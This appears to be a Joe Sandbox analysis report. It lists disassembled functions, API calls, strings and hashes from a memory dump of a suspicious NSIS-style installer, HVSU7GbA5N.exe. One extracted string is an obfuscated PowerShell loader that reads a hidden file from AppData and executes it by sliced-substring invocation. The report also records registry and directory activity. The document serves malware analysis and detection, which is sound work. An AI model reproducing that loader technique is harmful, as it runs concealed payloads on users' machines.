Completed, xrefs: 00404EC6, 00404ED8, 00404EDE, 00404F01, 00404F0D

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Completed
API String ID: 2531174081-3087654605
Opcode ID: 42d41b05157e019d59a8c95eb738bd9c3ef6bfcc5de6f75fe76b0678c24a36e0
Instruction ID: c9e29023339c79119f92ef6614343089cfde3ac0fe0689c8293f17bbb72fca3e
Opcode Fuzzy Hash: 42d41b05157e019d59a8c95eb738bd9c3ef6bfcc5de6f75fe76b0678c24a36e0
Instruction Fuzzy Hash: D0219DB2900118BEDF119FA5CD849DEBFB9EF44354F14807AF944B6291C3789E418BA8

Function 00402E62 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402EC0
GetTickCount.KERNEL32 ref: 00402F41
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 00402F6E
wsprintfA.USER32 ref: 00402F7E
WriteFile.KERNELBASE(00000000,00000000,0040E888,00000000,00000000), ref: 00402FAA

Strings

... %d%%, xrefs: 00402F78

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: 59f1a083d79aa0a26b558a3a335eceb6c969644405dc0bbbd3de2fd8fa687a46
Instruction ID: 884de2ce8814a110384bf9455658e7085e50030da519773910f3f0b9c7b3960d
Opcode Fuzzy Hash: 59f1a083d79aa0a26b558a3a335eceb6c969644405dc0bbbd3de2fd8fa687a46
Instruction Fuzzy Hash: 49519D7190120AABCF10DF65DA08A9F3BB8AB04395F14413BF800B72C0C7789E50DBAA

Function 00401F68 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 00401F93

Part of subcall function 00404EA6: lstrlenA.KERNEL32(Completed,00000000,0040E888,00000000,?,?,?,?,?,?,?,?,?,00402F92,00000000,?), ref: 00404EDF
Part of subcall function 00404EA6: lstrlenA.KERNEL32(00402F92,Completed,00000000,0040E888,00000000,?,?,?,?,?,?,?,?,?,00402F92,00000000), ref: 00404EEF
Part of subcall function 00404EA6: lstrcatA.KERNEL32(Completed,00402F92,00402F92,Completed,00000000,0040E888,00000000), ref: 00404F02
Part of subcall function 00404EA6: SetWindowTextA.USER32(Completed,Completed), ref: 00404F14
Part of subcall function 00404EA6: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F3A
Part of subcall function 00404EA6: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F54
Part of subcall function 00404EA6: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F62

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401FA3
GetProcAddress.KERNEL32(00000000,?), ref: 00401FB3
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 0040201D

Strings

`7B, xrefs: 00401FDD
"$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" , xrefs: 00401FE7

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID: "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" $`7B
API String ID: 2987980305-3854630374
Opcode ID: 6dc7458dcee08963799a638f2a333defd2c134256b54f09a04e7196953954384
Instruction ID: aaf5afebff6e040c8f3edcccfb20df8df5b0ecb9331c565b7beb057a01dbb2d2
Opcode Fuzzy Hash: 6dc7458dcee08963799a638f2a333defd2c134256b54f09a04e7196953954384
Instruction Fuzzy Hash: 9121F672904211B6CF107FA48E8DA6E39B0AB44318F20823BF600B62D0D7BC4941DA5E

Function 0040231C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040235A
lstrlenA.KERNEL32(noncontamination\lftebevgelse\,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040237A
RegSetValueExA.KERNELBASE(?,?,?,?,noncontamination\lftebevgelse\,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B3
RegCloseKey.ADVAPI32(?,?,?,noncontamination\lftebevgelse\,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402490

Strings

noncontamination\lftebevgelse\, xrefs: 0040236B, 0040238D, 0040239D, 004023A8

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: noncontamination\lftebevgelse\
API String ID: 1356686001-3804711476
Opcode ID: bbf6a0b86b811ae7a9c2ce5d094f6befe46c2cc4ac6501f1fa9dc908f8b818e4
Instruction ID: 3a938b5a8607202095c76e83426e5805640bb3b53fc5f2f09a26eea3e9d8e973
Opcode Fuzzy Hash: bbf6a0b86b811ae7a9c2ce5d094f6befe46c2cc4ac6501f1fa9dc908f8b818e4
Instruction Fuzzy Hash: 7711A2B1E00118BFEB10AFA4DE49EAF7678FB50358F10413AF905B61D1D7B86D01AA69

Function 004015B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004056E6: CharNextA.USER32(?,?,004210E0,?,00405752,004210E0,004210E0,?,?,75573410,0040549D,?,C:\Users\user\AppData\Local\Temp\,75573410,00000000), ref: 004056F4
Part of subcall function 004056E6: CharNextA.USER32(00000000), ref: 004056F9
Part of subcall function 004056E6: CharNextA.USER32(00000000), ref: 0040570D

CreateDirectoryA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens,00000000,00000000,000000F0), ref: 00401622

Strings

C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens, xrefs: 00401617

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens
API String ID: 3751793516-2870171211
Opcode ID: 341913b46653dc02a6b8c0ff5df98e195c602d220a8259587814e8818c9eeb9b
Instruction ID: d075d57f09c15f05164e6e7227da82a4385631acf0310a11cf010d3362af65ee
Opcode Fuzzy Hash: 341913b46653dc02a6b8c0ff5df98e195c602d220a8259587814e8818c9eeb9b
Instruction Fuzzy Hash: 5F112531908150AFDB112F755D44E6F37B0EA62366768473BF891B22E2D23C0D42D62E

Function 0040587D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405891
GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 004058AB

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405880, 00405884
"C:\Users\user\Desktop\HVSU7GbA5N.exe", xrefs: 0040587D
nsa, xrefs: 00405888

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\HVSU7GbA5N.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-4029073079
Opcode ID: 53651faf07563a77c89e4d9d04216bb1832e7739a800dcda734853e57c4c3aa5
Instruction ID: 97602d992a1fc3ea541738fe691a17a98ed12bbd3b61733a4c4fd0f0c3479bd5
Opcode Fuzzy Hash: 53651faf07563a77c89e4d9d04216bb1832e7739a800dcda734853e57c4c3aa5
Instruction Fuzzy Hash: B0F05E367482086AEB109A55DC44B9B7B98DB91750F14C02AFD44AA190D6B099548B99

Function 00401EDC Relevance: 6.1, APIs: 4, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401EEB
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F09
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F22
VerQueryValueA.VERSION(?,00409014,?,?,?,?,?,00000000), ref: 00401F3B

Part of subcall function 00405B1B: wsprintfA.USER32 ref: 00405B28

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: d5295571afff2b7ba06b8940d0c237b1bfad39176bc142ff4da2a602cba8f496
Instruction ID: 9b91fbd94c6ee64b88793a3c9b4d2d612c2f555b57ffdd8fee231bc1bbe1e40f
Opcode Fuzzy Hash: d5295571afff2b7ba06b8940d0c237b1bfad39176bc142ff4da2a602cba8f496
Instruction Fuzzy Hash: 37115E71A00108BEDB01EFA5D981DAEBBB9EF04344B20807AF505F21A2D7389E54DB28

Function 0040536C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,004214E0,Error launching installer), ref: 00405395
CloseHandle.KERNEL32(?), ref: 004053A2

Strings

Error launching installer, xrefs: 0040537F

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 78f56604072923640aaa3b77c56e1735b9967a1a3caa926f278c393605d87831
Instruction ID: 6a75270a898cf8bf2a78dd2ca891eea3d0b09d4229ae2a6fcbb9112043bcd623
Opcode Fuzzy Hash: 78f56604072923640aaa3b77c56e1735b9967a1a3caa926f278c393605d87831
Instruction Fuzzy Hash: 5EE0BFB4A04209BFFB10EBA4ED45F7B7AADEB10788F408521BD14F2160D778A8108A79

Function 00403082 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00405E28: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\HVSU7GbA5N.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040308E,C:\Users\user\AppData\Local\Temp\,75573410,00403268), ref: 00405E80
Part of subcall function 00405E28: CharNextA.USER32(?,?,?,00000000), ref: 00405E8D
Part of subcall function 00405E28: CharNextA.USER32(?,"C:\Users\user\Desktop\HVSU7GbA5N.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040308E,C:\Users\user\AppData\Local\Temp\,75573410,00403268), ref: 00405E92
Part of subcall function 00405E28: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040308E,C:\Users\user\AppData\Local\Temp\,75573410,00403268), ref: 00405EA2

CreateDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573410,00403268), ref: 004030A3

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403083, 00403088, 0040308E, 0040309A, 004030A2, 004030A9
1033, xrefs: 004030AA

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-3144792594
Opcode ID: 389a80ee12a651c87ccad1e400f0b61aee7e0e7ab3a8d76480836320ff4f5ec7
Instruction ID: fee6ec1a5ad4de73206782a352265a6ade63d615f6b53232b42a3ca9793d762f
Opcode Fuzzy Hash: 389a80ee12a651c87ccad1e400f0b61aee7e0e7ab3a8d76480836320ff4f5ec7
Instruction Fuzzy Hash: 2CD09222A4BE3062D55137663C0AFCF054C8F5631AB518077F908740C69A6D9A9249EE

Function 004065CC Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2395b39049a362c34a27dfb880213796ab4f3997f605305afcf4b88fff478a5b
Instruction ID: 17d8f0c9adc7b2b71efc7957c866aa3859f64222e8b37881b9213324db3bf9cd
Opcode Fuzzy Hash: 2395b39049a362c34a27dfb880213796ab4f3997f605305afcf4b88fff478a5b
Instruction Fuzzy Hash: E0A15171E00228CBDF28CFA8C8447ADBBB1FB44305F15806ED856BB281D7789A96DF44

Function 004067CD Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99653bfb7f144ce5dad25bea39bf75b689d07406e35084d2878a8dabe37ac6e
Instruction ID: fc305786e35d93851c8f3c5d9b38f8a429e7909e60618e2c0103eac0a9dc1c25
Opcode Fuzzy Hash: e99653bfb7f144ce5dad25bea39bf75b689d07406e35084d2878a8dabe37ac6e
Instruction Fuzzy Hash: C1913071E00228CBDF28CF98C8547ADBBB1FB44305F15816AD856BB281D7789A96DF44

Function 004064E3 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe53a61097b749f1782159a8fc3ae1334c5d5d5e9ac5eec79330ddb7b6ec713b
Instruction ID: 045822fc5ab24079ba69da477224c4b1a41a130b0053ffb1807465ee2ef03bcb
Opcode Fuzzy Hash: fe53a61097b749f1782159a8fc3ae1334c5d5d5e9ac5eec79330ddb7b6ec713b
Instruction Fuzzy Hash: AB814771E00228CFDF24CFA8C8447ADBBB1FB45305F25816AD856BB281D7789A96DF44

Function 00405FE8 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f03dec724b3596635aeae071b0dd6c0542c79984eb544c4ce6f813bf1c132c47
Instruction ID: efdf2bc729d78145ecf5a565514c9258b5bbce2e4cf5113e346d1a35f2b936d2
Opcode Fuzzy Hash: f03dec724b3596635aeae071b0dd6c0542c79984eb544c4ce6f813bf1c132c47
Instruction Fuzzy Hash: AB817771E00228CBDF24DFA8C8447AEBBB0FB45305F15816AD856BB281D7785A96DF44

Function 00406436 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b228df2ed3587aaf6c6f9f97010ba9ba02a5f9c90de50599b2abf323e58cb698
Instruction ID: c983b8745f75bf2274a463a9cfcccf5039b1f1987fed19ece7001b5e7d797120
Opcode Fuzzy Hash: b228df2ed3587aaf6c6f9f97010ba9ba02a5f9c90de50599b2abf323e58cb698
Instruction Fuzzy Hash: 3F712371E00228CFDF28CF98C8447ADBBB1FB44305F15806AD856BB281D7789A96DF54

Function 00406554 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

